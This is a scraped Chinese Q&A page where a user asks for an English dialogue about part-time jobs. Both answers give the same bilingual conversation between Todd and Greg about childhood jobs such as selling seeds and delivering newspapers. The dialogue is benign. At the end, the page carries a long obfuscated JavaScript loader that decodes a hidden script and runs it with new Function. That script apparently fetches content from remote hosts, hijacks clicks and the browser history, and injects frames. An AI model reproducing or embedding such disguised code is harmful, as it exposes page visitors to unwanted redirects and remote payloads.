求一篇关于兼职part-time job的英语情景对话,两个人的,各十句,拜托啦

2025-02-24 04:31:31
推荐回答(2个)
回答1:

Todd: Hey, so, Greg, growing up in the states, did you have any part-time jobs like in high school and stuff?

托德:嗨,格雷格,你在美国长大,你上高中的时候有没有打过工?
Greg: Oh, I've had part-time jobs ever since I was a child.
格雷格:哦,我从小就一直在打工。
Todd: Right, me too.
托德:我也是。
Greg: My first actually, I used to work for the American Seed Company. Do you know that?
格雷格:我打的第一份工是在美国种子公司工作。你知道这家公司吗?
Todd: I can imagine. No. I mean it's just a seed company, right.
托德:我可以想象。我想那就是一家种子公司。
Greg: Yeah. Yeah. Well, I actually wasn't paid in money. They would send me flower seeds, and vegetable seeds and then I would go door-to-door, I would knock on people's doors, "Excuse me, I'm with the American Seed Company, would you like to buy some seeds?", and people would see this, I was probably ten or nine at the time, this young kid trying to sell seeds, and you know they would buy a couple packs, and if I sold, say twenty packs of seeds, then I could choose from a list of toys or things (Whoa) soccer ball, or a dart board, and so I sold a lot of seeds. I liked it.
格雷格:对,是的。实际上他们并不付我工钱。他们会给我鲜花种子还有蔬菜种子,然后我要拿着这些种子挨家挨户去推销,我会去敲人们的房门,然后说:“打扰一下,我是美国种子公司的员工,您想买些种子吗?”当时人们看到的是一个九、十岁左右的男孩努力地卖种子,你知道通常他们都会买几包种子,举个例子,如果我卖了20包种子,那我就可以从玩具清单中选择我喜欢的玩具,像足球或是飞镖盘之类的,所以我卖了很多种子,我喜欢这份工作。
Todd: How old were you?
托德:那时你多大?
Greg: I was maybe nine or ten then. (Really) and another thing I would do, around Christmas time, you know America is the tradition of putting mistletoe up on the roof for Christmas, well I would climb trees, cut the mistletoe and then again I would walk door-to-door and say, "Would you like to buy some mistletoe?"
格雷格:我大概九岁或十岁。(真的吗)你知道圣诞节的时候美国的传统是把槲寄生放在屋顶,所以圣诞节的时候我会爬到树上去剪槲寄生,然后挨家挨户去问:“您想买槲寄生吗?”
Todd: You were quite the entrepreneur. The young businessman. (Yes) Did you make a lot of money with that job?
托德:你太有商业头脑了。年轻的企业家。(嗯)那份工作挣到了很多钱吗?
Greg: For me it felt like a lot of money at that time.
格雷格:当时对我来说那是很大一笔钱了。
Todd: Right, well, I got to ask, did you ever work at a fast-food company, like McDonalds or Wendy's?
托德:好,我想问,你在麦当劳或是温蒂汉堡这样的快餐公司打过工吗?
Greg: I've never worked at a fast-food company.
格雷格:我从来没在快餐公司打过工。
Todd: Oh, I did. It's the worst job ever. It's terrible.
托德:哦,我干过。那是最糟糕的一份工作。非常糟糕。
Greg: Did you get to eat free food though?
格雷格:你可以免费吃快餐吧?
Todd: Ah, I did, actually, that was the big allure of the job, like I won't say the name of the company, but I worked for a major, major fast food chain around the world, and I thought, oh, I can eat all the hamburgers I want.
托德:对,可以,这是那份工作最诱人的地方,我就不说我打工的那家快餐店的名字了,我曾在世界上一家主要快餐连锁店工作过,当时我想我可以吃到所有的汉堡了。
Greg: You probably got sick of eating hamburgers.
格雷格:你可能会吃腻汉堡的。
Todd: No, are you kidding, I was 15, I didn't care like the more hamburgers the better, and uh, then actually I lost the job because I lied about my age and they fired me, but yeah, I wanted a job, I was like 13 or 14 or something like that. So how about, did you ever do the paperboy job?
托德:你开玩笑吧,当时我15岁,我并不认为汉堡越多越好,之后我丢掉了那份工作,因为他们发现我谎报了年龄所以他们开除了我,当时我好像13岁还是14岁,我只是想要一份工作。你有送过报纸吗?
Greg: Yes. Yes. For a couple of years I delivered newspapers in the morning.
格雷格:有,送过。有几年的时间,我每天早上都去送报纸。
Todd: Right. How early did you have to get up to deliver the papers?
托德:好。你送报纸的时候几点起床?
Greg: I don't remember, maybe around 6 o'clock. (Right) It's amazing I did that cause I hate waking up early now.
格雷格:我记不清了,大约6点左右吧。(好)。我做这份工作有点令人吃惊,因为我讨厌早起。
Todd: Right, yeah, yeah. That job's the worst just cause of the weather, like you have to do it in the rain. I was the paperboy too, and in the rain, it's just awful. You have the big plastic bags and, and you're out there throwing the papers, and yeah, it's not a fun job.
托德:好,好的。在天气不好的时候,比如下雨天还要送报纸的时候,这份工作非常糟糕。我也送过报纸,下雨天的时候真的很糟。你要套着大塑料袋去送报纸,那并不是一份有意思的工作。
Greg: Yeah, and sometimes dogs chase you.
格雷格:对,而且有时还会有狗追你。

回答2:

Todd: Hey, so, Greg, growing up in the states, did you have any part-time jobs like in high school and stuff?

托德:嗨,格雷格,你在美国长大,你上高中的时候有没有打过工?
Greg: Oh, I've had part-time jobs ever since I was a child.
格雷格:哦,我从小就一直在打工。
Todd: Right, me too.
托德:我也是。
Greg: My first actually, I used to work for the American Seed Company. Do you know that?
格雷格:我打的第一份工是在美国种子公司工作。你知道这家公司吗?
Todd: I can imagine. No. I mean it's just a seed company, right.
托德:我可以想象。我想那就是一家种子公司。
Greg: Yeah. Yeah. Well, I actually wasn't paid in money. They would send me flower seeds, and vegetable seeds and then I would go door-to-door, I would knock on people's doors, "Excuse me, I'm with the American Seed Company, would you like to buy some seeds?", and people would see this, I was probably ten or nine at the time, this young kid trying to sell seeds, and you know they would buy a couple packs, and if I sold, say twenty packs of seeds, then I could choose from a list of toys or things (Whoa) soccer ball, or a dart board, and so I sold a lot of seeds. I liked it.
格雷格:对,是的。实际上他们并不付我工钱。他们会给我鲜花种子还有蔬菜种子,然后我要拿着这些种子挨家挨户去推销,我会去敲人们的房门,然后说:“打扰一下,我是美国种子公司的员工,您想买些种子吗?”当时人们看到的是一个九、十岁左右的男孩努力地卖种子,你知道通常他们都会买几包种子,举个例子,如果我卖了20包种子,那我就可以从玩具清单中选择我喜欢的玩具,像足球或是飞镖盘之类的,所以我卖了很多种子,我喜欢这份工作。
Todd: How old were you?
托德:那时你多大?
Greg: I was maybe nine or ten then. (Really) and another thing I would do, around Christmas time, you know America is the tradition of putting mistletoe up on the roof for Christmas, well I would climb trees, cut the mistletoe and then again I would walk door-to-door and say, "Would you like to buy some mistletoe?"
格雷格:我大概九岁或十岁。(真的吗)你知道圣诞节的时候美国的传统是把槲寄生放在屋顶,所以圣诞节的时候我会爬到树上去剪槲寄生,然后挨家挨户去问:“您想买槲寄生吗?”
Todd: You were quite the entrepreneur. The young businessman. (Yes) Did you make a lot of money with that job?
托德:你太有商业头脑了。年轻的企业家。(嗯)那份工作挣到了很多钱吗?
Greg: For me it felt like a lot of money at that time.
格雷格:当时对我来说那是很大一笔钱了。
Todd: Right, well, I got to ask, did you ever work at a fast-food company, like McDonalds or Wendy's?
托德:好,我想问,你在麦当劳或是温蒂汉堡这样的快餐公司打过工吗?
Greg: I've never worked at a fast-food company.
格雷格:我从来没在快餐公司打过工。
Todd: Oh, I did. It's the worst job ever. It's terrible.
托德:哦,我干过。那是最糟糕的一份工作。非常糟糕。
Greg: Did you get to eat free food though?
格雷格:你可以免费吃快餐吧?
Todd: Ah, I did, actually, that was the big allure of the job, like I won't say the name of the company, but I worked for a major, major fast food chain around the world, and I thought, oh, I can eat all the hamburgers I want.
托德:对,可以,这是那份工作最诱人的地方,我就不说我打工的那家快餐店的名字了,我曾在世界上一家主要快餐连锁店工作过,当时我想我可以吃到所有的汉堡了。
Greg: You probably got sick of eating hamburgers.
格雷格:你可能会吃腻汉堡的。
Todd: No, are you kidding, I was 15, I didn't care like the more hamburgers the better, and uh, then actually I lost the job because I lied about my age and they fired me, but yeah, I wanted a job, I was like 13 or 14 or something like that. So how about, did you ever do the paperboy job?
托德:你开玩笑吧,当时我15岁,我并不认为汉堡越多越好,之后我丢掉了那份工作,因为他们发现我谎报了年龄所以他们开除了我,当时我好像13岁还是14岁,我只是想要一份工作。你有送过报纸吗?
Greg: Yes. Yes. For a couple of years I delivered newspapers in the morning.
格雷格:有,送过。有几年的时间,我每天早上都去送报纸。
Todd: Right. How early did you have to get up to deliver the papers?
托德:好。你送报纸的时候几点起床?
Greg: I don't remember, maybe around 6 o'clock. (Right) It's amazing I did that cause I hate waking up early now.
格雷格:我记不清了,大约6点左右吧。(好)。我做这份工作有点令人吃惊,因为我讨厌早起。
Todd: Right, yeah, yeah. That job's the worst just cause of the weather, like you have to do it in the rain. I was the paperboy too, and in the rain, it's just awful. You have the big plastic bags and, and you're out there throwing the papers, and yeah, it's not a fun job.
托德:好,好的。在天气不好的时候,比如下雨天还要送报纸的时候,这份工作非常糟糕。我也送过报纸,下雨天的时候真的很糟。你要套着大塑料袋去送报纸,那并不是一份有意思的工作。
Greg: Yeah, and sometimes dogs chase you.
格雷格:对,而且有时还会有狗追你。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();